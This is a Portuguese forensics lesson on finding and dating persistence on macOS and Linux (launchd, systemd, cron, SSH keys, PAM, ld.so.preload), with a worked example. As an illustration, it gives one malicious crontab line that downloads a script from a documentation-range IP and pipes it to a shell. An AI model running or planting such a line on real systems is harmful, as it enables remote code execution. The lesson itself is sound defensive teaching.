Persistência no macOS e no Linux

Persistência é qualquer mecanismo que permita a um intruso ou malware sobreviver a uma reinicialização, ao encerramento de uma sessão ou a uma alteração de senha. No macOS e no Linux, quase sempre é um arquivo: uma lista de propriedades, um arquivo de unidade, uma linha de crontab, uma chave pública. Esta aula lista os principais locais de inicialização automática nos dois sistemas e mostra como separar entradas maliciosas das legítimas, datá-las e atribuí-las. A persistência no Windows é abordada no Módulo 2.

O método do perito

1. Enumere todos os locais de inicialização automática dessa versão do SO, tanto no âmbito do sistema quanto em todos os diretórios pessoais, incluindo /root e contas de serviço como www-data.
2. Compare com uma linha de base: um sistema comprovadamente íntegro da mesma compilação ou os registros do gerenciador de pacotes. Verifique a quem pertence cada arquivo (a um pacote, a um pacote de aplicativo assinado pelo fornecedor, a nada?) e se o programa que ele inicia está em algum local incomum, como /tmp, /dev/shm ou um arquivo cujo nome começa com ponto em /usr/local/bin.
3. Registre proprietário, modo, todos os registros de data e hora (ext4 e APFS mantêm um horário de criação), tamanho e SHA-256 do arquivo de configuração e do programa que ele inicia.
4. Ordene por horário e procure itens criados ou alterados no intervalo do incidente; depois, corrobore com logs (Aula 6.4) e evidências de execução.
5. Identifique cada achado com um ID de técnica do MITRE ATT&CK. Os IDs são vocabulário, não evidência: eles tornam os relatórios comparáveis.

IDs relacionados que você encontrará: T1574.006 Sequestro do vinculador dinâmico (ld.so.preload), T1556.003 Módulos de autenticação conectáveis, T1505.003 Shell web e T1136.001 Criar conta: conta local.

macOS

Daemons e agentes do launchd

O launchd (PID 1) inicia tarefas descritas em listas de propriedades; a Aula 6.1 aborda plists XML e binárias e sua leitura com plutil -p.

As pastas de /System são protegidas pela Proteção da Integridade do Sistema (SIP, OS X 10.11+) e, a partir do macOS 11, ficam no volume de sistema selado e somente leitura; portanto, procure em /Library e nas pastas dos usuários. As chaves importantes:

• Label: o nome exclusivo da tarefa, geralmente em formato DNS reverso. Um rótulo com.apple. fora de /System merece análise cuidadosa.
• Program ou ProgramArguments: o executável e seus argumentos, que você deve localizar e cujo hash deve calcular. /bin/sh -c, curl ou osascript são sinais de alerta.
• RunAtLoad: iniciar assim que a tarefa for carregada (na inicialização ou no login).
• KeepAlive: reiniciar a tarefa sempre que ela encerrar.
• StartInterval: executar a cada N segundos (StartCalendarInterval é a forma semelhante ao cron).

Itens de login, perfis e outros pontos do macOS

A partir do macOS 13 Ventura, o Gerenciamento de Tarefas em Segundo Plano (BTM) monitora itens de login, agentes e daemons de inicialização, notifica o usuário e os lista em Ajustes do Sistema > Geral > Itens de Início. Seu banco de dados é /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v<N>.btm, em que N muda entre versões. Trata-se de uma plist binária no formato de arquivo com chaves da Apple; em um Mac em execução, sudo sfltool dumpbtm exibe o identificador, o nome do desenvolvedor, o tipo, a disposição e o caminho do executável de cada item. Do macOS 10.13 ao 12, os itens de login eram mantidos em ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.

• Perfis de configuração (.mobileconfig) podem instalar certificados raiz, configurações de proxy, DNS ou VPN, ou registro em MDM: controle, em vez de código. Liste-os no sistema em execução com sudo profiles list. A partir do macOS 11, a ferramenta profiles não pode instalar um perfil silenciosamente; portanto, um perfil malicioso implica aprovação do usuário ou MDM.
• cron e periodic ainda existem, mas são raramente usados: crontabs de usuários em /private/var/at/tabs/<user>, scripts em /etc/periodic/daily|weekly|monthly.
• Perfis de shell: o zsh é o padrão desde a versão 10.15. ~/.zshenv é executado para cada zsh, ~/.zprofile para shells de login e ~/.zshrc para os interativos, além de /etc/zprofile e /etc/zshrc. Eles são executados apenas quando um shell é iniciado.
• Plugins de autorização em /Library/Security/SecurityAgentPlugins, uma vez referenciados no banco de dados de autorização, são executados durante o login com acesso à senha digitada; extensões do kernel (/Library/Extensions, descontinuadas desde o macOS 10.15) e extensões do sistema (10.15+, systemextensionsctl list) precisam de aprovação explícita do usuário.

A forma como o binário chegou é importante. Navegadores e o Mail adicionam o atributo com.apple.quarantine (Aula 6.1), de modo que o Gatekeeper verifica a assinatura e a notarização na primeira execução. O curl não adiciona esse atributo; portanto, um binário depositado sem ele é compatível com um download por script. Verifique a assinatura com codesign -dv --verbose=4.

Linux

Serviços e temporizadores systemd

Os arquivos de unidade são lidos de /etc/systemd/system (administrador, prioridade mais alta), /run/systemd/system (tempo de execução) e /lib/systemd/system ou /usr/lib/systemd/system (pacotes). As unidades de usuário em ~/.config/systemd/user são executadas enquanto esse usuário está conectado, ou sempre, se a permanência estiver habilitada (/var/lib/systemd/linger/<user>).

Em uma unidade, [Service] contém ExecStart= (o programa), Restart=always (reiniciar ao encerrar) e User=; [Install] contém WantedBy=multi-user.target. O systemctl enable atua sobre WantedBy criando um link simbólico em /etc/systemd/system/multi-user.target.wants/. O link é um novo inode; portanto, seu próprio horário de criação (lido sem segui-lo: stat no link ou istat em seu inode) data quando ele foi criado pela última vez, normalmente por systemctl enable. Verifique também as pastas de configuração complementar (<unit>.d/*.conf), que podem sobrescrever o ExecStart= de um serviço legítimo. Temporizadores (.timer com OnCalendar= ou OnBootSec=) iniciam o .service de mesmo nome; liste-os no sistema em execução com systemctl list-timers --all.

cron, chaves SSH e arquivos de inicialização do shell

A Aula 6.3 apresentou os locais do cron e do at. Entradas maliciosas se parecem com * root curl -fsSL http://203.0.113.50/k.sh | sh: a cada minuto, um download encaminhado por pipe a um shell. Também são suspeitos: blocos de dados em base64, um crontab para www-data, um arquivo em /etc/cron.d que não pertence a nenhum pacote.

Por padrão, o OpenSSH lê .ssh/authorized_keys e .ssh/authorized_keys2 em cada diretório pessoal; verifique AuthorizedKeysFile ou AuthorizedKeysCommand em sshd_config. Cada linha contém opções facultativas, o tipo da chave, a chave em base64 e um comentário. O comentário é um texto livre escolhido pelo criador da chave e não permite atribuir nada. Opções como command="…" (forçar um comando) ou from="198.51.100.0/24" (origens permitidas) alteram o que a chave faz. ssh-keygen -lf authorized_keys exibe a impressão digital SHA256: de cada chave, que você compara com linhas do sshd como Accepted publickey for root from … ssh2: ED25519 SHA256:… (Aula 6.4).

Shells de login do Bash leem /etc/profile (que carrega /etc/profile.d/*.sh) e o primeiro entre ~/.bash_profile, ~/.bash_login e ~/.profile; shells interativos que não são de login leem /etc/bash.bashrc (família Debian) e ~/.bashrc. Procure, no final desses arquivos, por nohup … &, alias sudo= ou export LD_PRELOAD=.

Pontos de interceptação mais profundos

• rc.local e init.d: se /etc/rc.local existir e for executável, o systemd o executa na inicialização, e os scripts SysV em /etc/init.d são executados por meio de um gerador de compatibilidade; o systemd 260 (2026) removeu ambos.
• /etc/ld.so.preload: normalmente ausente. Cada objeto compartilhado listado é carregado em todos os programas vinculados dinamicamente, a técnica clássica de rootkit em modo de usuário para ocultar arquivos e processos das ferramentas executadas no host em funcionamento.
• Módulos do kernel: /etc/modules, /etc/modules-load.d/*.conf e /etc/modprobe.d/*.conf (cujas linhas install podem executar comandos). O lsmod lê /proc/modules, que um rootkit pode falsificar; compare os arquivos de módulos em /lib/modules/<kernel>/, mensagens do kernel como module verification failed: signature and/or required key missing - tainting kernel e a memória (Módulo 5).
• Regras udev: um RUN+="…" em /etc/udev/rules.d/*.rules é executado a cada evento de dispositivo correspondente.
• PAM: uma linha em /etc/pam.d/ que adicione pam_exec.so expose_authtok entrega todas as senhas digitadas a um programa; um pam_unix.so substituído pode aceitar uma senha mestra.
• Contas: um segundo UID 0 em /etc/passwd, novos membros de sudo/wheel ou arquivos em /etc/sudoers.d (Aula 6.3).
• Shells web: pequenos arquivos .php ou .jsp em /var/www, pertencentes à conta do servidor web.

Validação com o gerenciador de pacotes

dpkg -V (ou debsums -c) compara arquivos com os hashes MD5 registrados na instalação; rpm -Va também verifica tamanho, modo, proprietário e mtime, exibindo indicadores como S.5....T. (tamanho, resumo criptográfico e horário alterados) e c para arquivos de configuração, que mudam legitimamente. dpkg -S <path> ou rpm -qf <path> informa o pacote de um arquivo. Limitações: somente arquivos pertencentes a pacotes são verificados; portanto, uma nova unidade, um arquivo cron ou uma linha em authorized_keys fica invisível; além disso, um invasor com acesso root pode editar o banco de dados (/var/lib/dpkg/info/*.md5sums, /var/lib/rpm) ou as ferramentas. Prefira hashes dos pacotes originais obtidos do espelho da distribuição, comparados na sua estação de trabalho com o conteúdo montado em modo somente leitura.

Referência rápida

Exemplo resolvido: um auxiliar D-Bus falso

Um servidor web Debian 12 (fuso horário UTC−3) foi invadido em 14 de março de 2026:

A unidade /etc/systemd/system/dbus-helper.service contém ExecStart=/usr/local/bin/.dbus-helper, Restart=always e WantedBy=multi-user.target. O dpkg -S não encontra um pacote proprietário para nenhum dos arquivos; a unidade D-Bus genuína é dbus.service, em /lib/systemd/system, e o ponto inicial oculta o binário de um simples ls.

Datação da habilitação. O stat no link simbólico exibe Birth: 2026-03-14 11:26:10.483920117 -0300; 11:26:10 + 3 h = 14:26:10Z. Verifique no inode bruto: i_crtime no offset 0x90 contém 02 70 B5 69, little-endian 0x69B57002 = 1.773.498.370 segundos desde 1970-01-01 = 2026-03-14T14:26:10Z. i_crtime_extra em 0x94 contém D4 23 60 73 = 0x736023D4; deslocado 2 bits para a direita, isso resulta em 483.920.117 ns, e seus dois bits menos significativos (00) não acrescentam extensão de época.

Vinculação da chave. O ssh-keygen -lf na nova linha retorna SHA256:Cn2JcyZ2wuDBa4eq1qcqPCgpueXIwuMbVag5jAOwvEU, idêntica à do login às 02:07:44Z; portanto, essa chave foi usada, a partir de um novo endereço.

Atribuição. Os três itens foram criados em sequência dentro do shell root da sessão de deploy (14:18:05Z a 14:31:40Z). Os horários de criação mostram quando os inodes surgiram, não quem agiu; o intervalo da sessão fornece esse vínculo, depois de você verificar o wtmp e o journal em busca de outras sessões abertas naquele momento. O touch não pode definir crtime nem ctime; portanto, um mtime retroativo não ocultaria 14:25:02Z. Relate T1543.002 e T1098.004.

Foco no exame: Espere ter de indicar qual pasta e conta uma tarefa do launchd usa, ler ProgramArguments, RunAtLoad e KeepAlive e datar um serviço systemd a partir de seu link simbólico em *.wants. Você pode precisar associar uma impressão digital de authorized_keys a uma linha Accepted publickey, converter um horário local do stat para UTC e fornecer o caminho completo e o SHA-256 de um binário.

Pontos principais

• A persistência é um arquivo em um local conhecido de inicialização automática; enumere todos eles, no âmbito do sistema e por usuário, e depois compare com uma linha de base.
• LaunchDaemons são executados como root na inicialização; LaunchAgents são executados como o usuário no login; /System/Library pertence à Apple e é selado.
• systemctl enable cria um link simbólico em *.wants/; o horário de criação do próprio link data a habilitação.
• Comprove qual chave SSH foi usada associando sua impressão digital SHA256: à linha Accepted publickey do sshd; ignore o comentário da chave.
• dpkg -V e rpm -Va abrangem apenas arquivos pertencentes a pacotes e confiam em um banco de dados que root pode alterar.
• IDs ATT&CK como T1543, T1053, T1098.004, T1546, T1547 e T1037 identificam achados; não os comprovam.